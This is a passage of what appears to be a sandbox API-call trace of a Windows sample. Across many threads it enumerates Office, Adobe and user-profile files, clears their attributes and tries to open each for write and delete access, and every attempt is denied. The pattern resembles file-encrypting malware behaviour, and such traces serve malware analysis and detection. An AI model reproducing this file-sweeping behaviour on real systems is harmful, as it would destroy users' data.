Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HRV", dwFileAttributes=0x20) returned 0 [0155.185] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac8f0) returned 1 Thread: id = 3386 os_tid = 0xa08 [0153.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif")) returned 0x20 [0153.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF", dwFileAttributes=0x20) returned 0 [0153.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_adobe.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.649] GetLastError () returned 0x5 [0153.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\BG_ADOBE.GIF", dwFileAttributes=0x20) returned 0 [0153.649] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adde8) returned 1 Thread: id = 3387 os_tid = 0xa0c [0153.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif")) returned 0x20 [0153.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif", dwFileAttributes=0x20) returned 0 [0153.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_casual.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.650] GetLastError () returned 0x5 [0153.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Casual.gif", dwFileAttributes=0x20) returned 0 [0153.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad168) returned 1 Thread: id = 3389 os_tid = 0xa10 [0153.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif")) returned 0x20 [0153.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif", dwFileAttributes=0x20) returned 0 [0153.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_earthy.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.653] GetLastError () returned 0x5 [0153.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Earthy.gif", dwFileAttributes=0x20) returned 0 [0153.653] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aea68) returned 1 Thread: id = 3390 os_tid = 0x8bc [0153.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif")) returned 0x20 [0153.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif", dwFileAttributes=0x20) returned 0 [0153.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_greentea.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.654] GetLastError () returned 0x5 [0153.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_GreenTea.gif", dwFileAttributes=0x20) returned 0 [0153.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933df0) returned 1 Thread: id = 3391 os_tid = 0x8c0 [0153.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif")) returned 0x20 [0153.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif", dwFileAttributes=0x20) returned 0 [0153.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_groove.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.655] GetLastError () returned 0x5 [0153.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_Groove.gif", dwFileAttributes=0x20) returned 0 [0153.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adca8) returned 1 Thread: id = 3392 os_tid = 0x8c4 [0153.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif")) returned 0x20 [0153.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif", dwFileAttributes=0x20) returned 0 [0153.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\bg_lightspirit.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.658] GetLastError () returned 0x5 [0153.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\bg_LightSpirit.gif", dwFileAttributes=0x20) returned 0 [0153.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934138) returned 1 Thread: id = 3426 os_tid = 0xa88 [0153.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif")) returned 0x20 [0153.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF", dwFileAttributes=0x20) returned 0 [0153.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.460] GetLastError () returned 0x5 [0153.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF", dwFileAttributes=0x20) returned 0 [0153.460] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75910) returned 1 Thread: id = 3427 os_tid = 0xa8c [0153.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif")) returned 0x20 [0153.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF", dwFileAttributes=0x20) returned 0 [0153.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.462] GetLastError () returned 0x5 [0153.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF", dwFileAttributes=0x20) returned 0 [0153.462] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9abab0) returned 1 Thread: id = 3428 os_tid = 0xa90 [0153.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif")) returned 0x20 [0153.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF", dwFileAttributes=0x20) returned 0 [0153.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.463] GetLastError () returned 0x5 [0153.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF", dwFileAttributes=0x20) returned 0 [0153.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab980) returned 1 Thread: id = 3429 os_tid = 0xa94 [0153.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif")) returned 0x20 [0153.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF", dwFileAttributes=0x20) returned 0 [0153.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.464] GetLastError () returned 0x5 [0153.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF", dwFileAttributes=0x20) returned 0 [0153.464] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aaed0) returned 1 Thread: id = 3430 os_tid = 0x9a8 [0153.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif")) returned 0x20 [0153.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF", dwFileAttributes=0x20) returned 0 [0153.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.465] GetLastError () returned 0x5 [0153.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF", dwFileAttributes=0x20) returned 0 [0153.466] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aad08) returned 1 Thread: id = 3431 os_tid = 0x9ac [0153.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif")) returned 0x20 [0155.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF", dwFileAttributes=0x20) returned 0 [0155.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.525] GetLastError () returned 0x5 [0156.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF", dwFileAttributes=0x20) returned 0 [0156.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acb50) returned 1 Thread: id = 3432 os_tid = 0xa98 [0153.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif")) returned 0x20 [0161.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF", dwFileAttributes=0x20) returned 0 [0161.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.995] GetLastError () returned 0x5 [0161.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF", dwFileAttributes=0x20) returned 0 [0161.995] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acab8) returned 1 Thread: id = 3433 os_tid = 0xa9c [0153.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif")) returned 0x20 [0161.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF", dwFileAttributes=0x20) returned 0 [0161.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0161.996] GetLastError () returned 0x5 [0161.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF", dwFileAttributes=0x20) returned 0 [0161.996] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aca20) returned 1 Thread: id = 3477 os_tid = 0xb4c [0153.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c7280 [0153.733] wcscpy (in: _Dest=0xd4c7280, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" [0153.733] wcscat (in: _Dest=0xd4c7280, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\" [0153.733] wcscat (in: _Dest=0xd4c7280, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" [0153.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966440 [0153.733] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b138 [0153.734] wcscmp (_String1=".", _String2=".") returned 0 [0153.734] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.734] wcscmp (_String1="..", _String2=".") returned 1 [0153.734] wcscmp (_String1="..", _String2="..") returned 0 [0153.734] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0153.734] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2=".") returned 1 [0153.734] wcscmp (_String1="Windows6.1-KB2999226-x64.msu", _String2="..") returned 1 [0153.734] FindNextFileW (in: hFindFile=0x93b138, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0153.734] FindClose (in: hFindFile=0x93b138 | out: hFindFile=0x93b138) returned 1 [0153.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966440) returned 1 [0153.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7280) returned 1 [0153.734] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6e00) returned 1 Thread: id = 3478 os_tid = 0xb50 [0153.735] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini")) returned 0x20 [0153.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", dwFileAttributes=0x20) returned 0 [0153.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.735] GetLastError () returned 0x5 [0153.735] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini", dwFileAttributes=0x20) returned 0 [0153.735] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e75f8) returned 1 Thread: id = 3479 os_tid = 0xb54 [0153.737] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html")) returned 0x20 [0153.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", dwFileAttributes=0x20) returned 0 [0153.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.737] GetLastError () returned 0x5 [0153.737] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html", dwFileAttributes=0x20) returned 0 [0153.737] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aad08) returned 1 Thread: id = 3480 os_tid = 0xb58 [0153.742] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0153.966] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0153.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.966] GetLastError () returned 0x5 [0153.966] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0153.966] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9390c8) returned 1 Thread: id = 3481 os_tid = 0xb5c [0153.742] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml")) returned 0x20 [0153.967] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\subsetlist\\client.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0153.967] GetLastError () returned 0x5 [0153.968] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\Client.xml", dwFileAttributes=0x20) returned 0 [0153.968] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6d40) returned 1 Thread: id = 3482 os_tid = 0xb60 [0153.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc0) returned 0xd4b9a08 [0153.743] wcscpy (in: _Dest=0xd4b9a08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB" [0153.743] wcscat (in: _Dest=0xd4b9a08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\" [0153.743] wcscat (in: _Dest=0xd4b9a08, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*" [0153.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x966440 [0153.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\P7Y3F7QB\\*", lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0153.969] wcscmp (_String1=".", _String2=".") returned 0 [0153.969] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d4582b0, ftCreationTime.dwHighDateTime=0x1d35d06, 